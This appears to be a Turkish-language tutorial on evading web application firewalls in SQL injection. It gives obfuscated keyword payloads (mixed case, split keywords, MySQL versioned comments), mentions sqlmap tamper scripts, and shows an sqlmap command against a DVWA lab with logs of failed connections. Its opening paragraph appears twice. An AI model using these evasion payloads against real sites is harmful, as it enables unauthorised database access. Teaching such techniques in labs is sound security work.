Merhaba arkadaşlar bugün ki konumda SQL injection'da WAF bypass yönteminden bahsedeceğim.
Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sql komutları işlem görmüyorsa bile arkadaşlar büyük ihtimalle
şunu duşuneceğiz arka planda WAF (Web Application Firewall) tarafından görülüp engelleniyor diyebililiriz.
SQL İnjection saldırılarında birçok çeşitli yöntemler vardır. Mesela;
Büyük harf küçük harfleri karıştırmak "UnİoN SeLecT" gibisinden, Harfleri parçalamak gibi "FRfromOM,WHwhereERE", "/*!union*/","/*!50000union*/" vs. vs . arkadaşlar
Birçok farklı farklı yöntemler mevcutur..
SQLmap'ın WAF,IPS gibi saldırıları engelleme sistemlerini bypass etmek için "tamper scripti" özelliği bulunmaktadır.
Şimdi arkadaşlar bir örnek yer göstereceğim bu yer SQLmap içeriğini göstermektedir ;
Hedef sistemde SQL Injection güvenlik açığı tespit edilse bile normal şartlarda sql komutları işlem görmüyorsa bile arkadaşlar büyük ihtimalle
şunu duşuneceğiz arka planda WAF (Web Application Firewall) tarafından görülüp engelleniyor diyebililiriz.
SQL İnjection saldırılarında birçok çeşitli yöntemler vardır. Mesela;
Büyük harf küçük harfleri karıştırmak "UnİoN SeLecT" gibisinden, Harfleri parçalamak gibi "FRfromOM,WHwhereERE", "/*!union*/","/*!50000union*/" vs. vs . arkadaşlar
Birçok farklı farklı yöntemler mevcutur..
SQLmap'ın WAF,IPS gibi saldırıları engelleme sistemlerini bypass etmek için "tamper scripti" özelliği bulunmaktadır.
Şimdi arkadaşlar bir örnek yer göstereceğim bu yer SQLmap içeriğini göstermektedir ;
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs
sqlmap/1.0-dev-dea6218 - automatic SQL injection and database takeover tool
sqlmap: automatic SQL injection and database takeover tool
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 15:39:43
[*]
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request